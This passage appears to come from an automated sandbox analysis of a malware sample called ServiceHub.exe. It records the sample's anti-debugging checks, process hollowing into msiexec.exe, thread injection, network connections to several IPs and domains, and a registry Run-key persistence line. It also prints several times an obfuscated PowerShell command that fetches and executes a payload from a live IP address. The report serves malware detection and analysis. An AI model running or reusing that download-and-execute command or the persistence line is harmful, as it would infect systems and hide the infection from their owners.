            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DFAB0 mov eax, dword ptr fs:[00000030h]17_2_011DFAB0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A52A5 mov eax, dword ptr fs:[00000030h]17_2_011A52A5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A52A5 mov eax, dword ptr fs:[00000030h]17_2_011A52A5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A52A5 mov eax, dword ptr fs:[00000030h]17_2_011A52A5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A52A5 mov eax, dword ptr fs:[00000030h]17_2_011A52A5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A52A5 mov eax, dword ptr fs:[00000030h]17_2_011A52A5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2ACB mov eax, dword ptr fs:[00000030h]17_2_011D2ACB
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2AE4 mov eax, dword ptr fs:[00000030h]17_2_011D2AE4
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01278D34 mov eax, dword ptr fs:[00000030h]17_2_01278D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0122A537 mov eax, dword ptr fs:[00000030h]17_2_0122A537
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126E539 mov eax, dword ptr fs:[00000030h]17_2_0126E539
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D4D3B mov eax, dword ptr fs:[00000030h]17_2_011D4D3B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D4D3B mov eax, dword ptr fs:[00000030h]17_2_011D4D3B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D4D3B mov eax, dword ptr fs:[00000030h]17_2_011D4D3B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AAD30 mov eax, dword ptr fs:[00000030h]17_2_011AAD30
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B3D34 mov eax, dword ptr fs:[00000030h]17_2_011B3D34
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C7D50 mov eax, dword ptr fs:[00000030h]17_2_011C7D50
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E3D43 mov eax, dword ptr fs:[00000030h]17_2_011E3D43
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01223540 mov eax, dword ptr fs:[00000030h]17_2_01223540
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CC577 mov eax, dword ptr fs:[00000030h]17_2_011CC577
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CC577 mov eax, dword ptr fs:[00000030h]17_2_011CC577
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DFD9B mov eax, dword ptr fs:[00000030h]17_2_011DFD9B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DFD9B mov eax, dword ptr fs:[00000030h]17_2_011DFD9B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012705AC mov eax, dword ptr fs:[00000030h]17_2_012705AC
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012705AC mov eax, dword ptr fs:[00000030h]17_2_012705AC
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A2D8A mov eax, dword ptr fs:[00000030h]17_2_011A2D8A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A2D8A mov eax, dword ptr fs:[00000030h]17_2_011A2D8A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A2D8A mov eax, dword ptr fs:[00000030h]17_2_011A2D8A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A2D8A mov eax, dword ptr fs:[00000030h]17_2_011A2D8A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A2D8A mov eax, dword ptr fs:[00000030h]17_2_011A2D8A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2581 mov eax, dword ptr fs:[00000030h]17_2_011D2581
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2581 mov eax, dword ptr fs:[00000030h]17_2_011D2581
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2581 mov eax, dword ptr fs:[00000030h]17_2_011D2581
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D2581 mov eax, dword ptr fs:[00000030h]17_2_011D2581
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D1DB5 mov eax, dword ptr fs:[00000030h]17_2_011D1DB5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D1DB5 mov eax, dword ptr fs:[00000030h]17_2_011D1DB5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D1DB5 mov eax, dword ptr fs:[00000030h]17_2_011D1DB5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D35A1 mov eax, dword ptr fs:[00000030h]17_2_011D35A1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126FDE2 mov eax, dword ptr fs:[00000030h]17_2_0126FDE2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126FDE2 mov eax, dword ptr fs:[00000030h]17_2_0126FDE2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126FDE2 mov eax, dword ptr fs:[00000030h]17_2_0126FDE2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126FDE2 mov eax, dword ptr fs:[00000030h]17_2_0126FDE2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01258DF1 mov eax, dword ptr fs:[00000030h]17_2_01258DF1
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226DC9 mov eax, dword ptr fs:[00000030h]17_2_01226DC9
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226DC9 mov eax, dword ptr fs:[00000030h]17_2_01226DC9
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226DC9 mov eax, dword ptr fs:[00000030h]17_2_01226DC9
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226DC9 mov ecx, dword ptr fs:[00000030h]17_2_01226DC9
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226DC9 mov eax, dword ptr fs:[00000030h]17_2_01226DC9
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226DC9 mov eax, dword ptr fs:[00000030h]17_2_01226DC9
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BD5E0 mov eax, dword ptr fs:[00000030h]17_2_011BD5E0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BD5E0 mov eax, dword ptr fs:[00000030h]17_2_011BD5E0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261C06 mov eax, dword ptr fs:[00000030h]17_2_01261C06
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226C0A mov eax, dword ptr fs:[00000030h]17_2_01226C0A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226C0A mov eax, dword ptr fs:[00000030h]17_2_01226C0A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226C0A mov eax, dword ptr fs:[00000030h]17_2_01226C0A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226C0A mov eax, dword ptr fs:[00000030h]17_2_01226C0A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0127740D mov eax, dword ptr fs:[00000030h]17_2_0127740D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0127740D mov eax, dword ptr fs:[00000030h]17_2_0127740D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0127740D mov eax, dword ptr fs:[00000030h]17_2_0127740D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DBC2C mov eax, dword ptr fs:[00000030h]17_2_011DBC2C
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DA44B mov eax, dword ptr fs:[00000030h]17_2_011DA44B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011C746D mov eax, dword ptr fs:[00000030h]17_2_011C746D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123C450 mov eax, dword ptr fs:[00000030h]17_2_0123C450
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123C450 mov eax, dword ptr fs:[00000030h]17_2_0123C450
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B849B mov eax, dword ptr fs:[00000030h]17_2_011B849B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226CF0 mov eax, dword ptr fs:[00000030h]17_2_01226CF0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226CF0 mov eax, dword ptr fs:[00000030h]17_2_01226CF0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01226CF0 mov eax, dword ptr fs:[00000030h]17_2_01226CF0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012614FB mov eax, dword ptr fs:[00000030h]17_2_012614FB
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01278CD6 mov eax, dword ptr fs:[00000030h]17_2_01278CD6
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CF716 mov eax, dword ptr fs:[00000030h]17_2_011CF716
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DA70E mov eax, dword ptr fs:[00000030h]17_2_011DA70E
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DA70E mov eax, dword ptr fs:[00000030h]17_2_011DA70E
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0127070D mov eax, dword ptr fs:[00000030h]17_2_0127070D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0127070D mov eax, dword ptr fs:[00000030h]17_2_0127070D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DE730 mov eax, dword ptr fs:[00000030h]17_2_011DE730
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123FF10 mov eax, dword ptr fs:[00000030h]17_2_0123FF10
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123FF10 mov eax, dword ptr fs:[00000030h]17_2_0123FF10
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A4F2E mov eax, dword ptr fs:[00000030h]17_2_011A4F2E
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011A4F2E mov eax, dword ptr fs:[00000030h]17_2_011A4F2E
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01278F6A mov eax, dword ptr fs:[00000030h]17_2_01278F6A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BEF40 mov eax, dword ptr fs:[00000030h]17_2_011BEF40
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011BFF60 mov eax, dword ptr fs:[00000030h]17_2_011BFF60
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B8794 mov eax, dword ptr fs:[00000030h]17_2_011B8794
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01227794 mov eax, dword ptr fs:[00000030h]17_2_01227794
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01227794 mov eax, dword ptr fs:[00000030h]17_2_01227794
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01227794 mov eax, dword ptr fs:[00000030h]17_2_01227794
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E37F5 mov eax, dword ptr fs:[00000030h]17_2_011E37F5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DA61C mov eax, dword ptr fs:[00000030h]17_2_011DA61C
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011DA61C mov eax, dword ptr fs:[00000030h]17_2_011DA61C
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0125FE3F mov eax, dword ptr fs:[00000030h]17_2_0125FE3F
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AC600 mov eax, dword ptr fs:[00000030h]17_2_011AC600
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AC600 mov eax, dword ptr fs:[00000030h]17_2_011AC600
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AC600 mov eax, dword ptr fs:[00000030h]17_2_011AC600
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D8E00 mov eax, dword ptr fs:[00000030h]17_2_011D8E00
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01261608 mov eax, dword ptr fs:[00000030h]17_2_01261608
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011AE620 mov eax, dword ptr fs:[00000030h]17_2_011AE620
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B7E41 mov eax, dword ptr fs:[00000030h]17_2_011B7E41
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B7E41 mov eax, dword ptr fs:[00000030h]17_2_011B7E41
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B7E41 mov eax, dword ptr fs:[00000030h]17_2_011B7E41
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B7E41 mov eax, dword ptr fs:[00000030h]17_2_011B7E41
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B7E41 mov eax, dword ptr fs:[00000030h]17_2_011B7E41
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B7E41 mov eax, dword ptr fs:[00000030h]17_2_011B7E41
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126AE44 mov eax, dword ptr fs:[00000030h]17_2_0126AE44
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0126AE44 mov eax, dword ptr fs:[00000030h]17_2_0126AE44
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CAE73 mov eax, dword ptr fs:[00000030h]17_2_011CAE73
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CAE73 mov eax, dword ptr fs:[00000030h]17_2_011CAE73
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CAE73 mov eax, dword ptr fs:[00000030h]17_2_011CAE73
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CAE73 mov eax, dword ptr fs:[00000030h]17_2_011CAE73
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011CAE73 mov eax, dword ptr fs:[00000030h]17_2_011CAE73
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B766D mov eax, dword ptr fs:[00000030h]17_2_011B766D
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01270EA5 mov eax, dword ptr fs:[00000030h]17_2_01270EA5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01270EA5 mov eax, dword ptr fs:[00000030h]17_2_01270EA5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01270EA5 mov eax, dword ptr fs:[00000030h]17_2_01270EA5
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_012246A7 mov eax, dword ptr fs:[00000030h]17_2_012246A7
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0123FE87 mov eax, dword ptr fs:[00000030h]17_2_0123FE87
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D36CC mov eax, dword ptr fs:[00000030h]17_2_011D36CC
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011E8EC7 mov eax, dword ptr fs:[00000030h]17_2_011E8EC7
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0125FEC0 mov eax, dword ptr fs:[00000030h]17_2_0125FEC0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_01278ED6 mov eax, dword ptr fs:[00000030h]17_2_01278ED6
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011B76E2 mov eax, dword ptr fs:[00000030h]17_2_011B76E2
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_011D16E0 mov ecx, dword ptr fs:[00000030h]17_2_011D16E0
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess queried: DebugPort
            Source: C:\Users\user\Documents\ServiceHub.pifProcess queried: DebugPort
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040FF03 LdrLoadDll,17_2_0040FF03
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeMemory allocated: page read and write | page guardJump to behavior

            HIPS / PFW / Operating System Protection Evasion

            barindex
            System process connects to network (likely due to code injection or exploit)
            Source: C:\Windows\explorer.exeNetwork Connect: 134.73.114.39 80
            Source: C:\Windows\explorer.exeDomain query: www.eunicebarber.com
            Source: C:\Windows\explorer.exeNetwork Connect: 91.195.240.68 80
            Source: C:\Windows\explorer.exeNetwork Connect: 45.221.114.42 80
            Source: C:\Windows\explorer.exeNetwork Connect: 8.217.57.91 80
            Source: C:\Windows\explorer.exeDomain query: www.blackhawkstickets.com
            Source: C:\Windows\explorer.exeDomain query: www.jshjyz.com
            Source: C:\Windows\explorer.exeNetwork Connect: 156.237.252.50 80
            Source: C:\Windows\explorer.exeDomain query: www.moqainc.com
            Source: C:\Windows\explorer.exeDomain query: www.u1uc86.shop
            Yara detected Powershell download and execute
            Source: Yara matchFile source: amsi64_6672.amsi.csv, type: OTHER
            Sample uses process hollowing technique
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeSection unmapped: C:\Windows\SysWOW64\msiexec.exe base address: A10000Jump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeSection loaded: unknown target: C:\Users\user\Documents\ServiceHub.pif protection: execute and read and writeJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeSection loaded: unknown target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and writeJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeSection loaded: unknown target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: unknown target: C:\Users\user\Documents\ServiceHub.pif protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: unknown target: C:\Users\user\Documents\ServiceHub.pif protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
            Injects a PE file into a foreign processes
            Source: C:\Users\user\Documents\ServiceHub.pifMemory written: C:\Users\user\Documents\ServiceHub.pif base: 400000 value starts with: 4D5A
            Queues an APC in another process (thread injection)
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeThread APC queued: target process: C:\Users\user\Documents\ServiceHub.pifJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\msiexec.exeThread register set: target process: 3324Jump to behavior
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe" /c "powershell -wind hi -execut bypass while($true){try{start-process 'powershell.exe' -windowstyle hidden -verb runas -argumentlist '-exec bypass -c', '$c1=''iex (new-object net.we''; $c4=''bclient).downlo''; $c3=''adstring(''''http://212.192.219.52/untitled2.bmp'''')'';i`e`x ($c1,$c4,$c3 -join '''')' ;exit}catch{}}
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wind hi -execut bypass while($true){try{start-process 'powershell.exe' -windowstyle hidden -verb runas -argumentlist '-exec bypass -c', '$c1=''iex (new-object net.we''; $c4=''bclient).downlo''; $c3=''adstring(''''http://212.192.219.52/untitled2.bmp'''')'';i`e`x ($c1,$c4,$c3 -join '''')' ;exit}catch{}}
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe" /c "powershell -wind hi -execut bypass while($true){try{start-process 'powershell.exe' -windowstyle hidden -verb runas -argumentlist '-exec bypass -c', '$c1=''iex (new-object net.we''; $c4=''bclient).downlo''; $c3=''adstring(''''http://212.192.219.52/untitled2.bmp'''')'';i`e`x ($c1,$c4,$c3 -join '''')' ;exit}catch{}} Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wind hi -execut bypass while($true){try{start-process 'powershell.exe' -windowstyle hidden -verb runas -argumentlist '-exec bypass -c', '$c1=''iex (new-object net.we''; $c4=''bclient).downlo''; $c3=''adstring(''''http://212.192.219.52/untitled2.bmp'''')'';i`e`x ($c1,$c4,$c3 -join '''')' ;exit}catch{}} Jump to behavior
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\ServiceHub.exe "C:\Users\user\AppData\Roaming\ServiceHub.exe" Jump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pifJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeProcess created: C:\Users\user\AppData\Roaming\ServiceHub.exe C:\Users\user\AppData\Roaming\ServiceHub.exeJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ServiceHub" /t REG_SZ /F /D "C:\Users\user\Documents\ServiceHub.pif"Jump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exeJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Users\user\Documents\ServiceHub.pif C:\Users\user\Documents\ServiceHub.pifJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifProcess created: C:\Users\user\Documents\ServiceHub.pif C:\Users\user\Documents\ServiceHub.pif
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
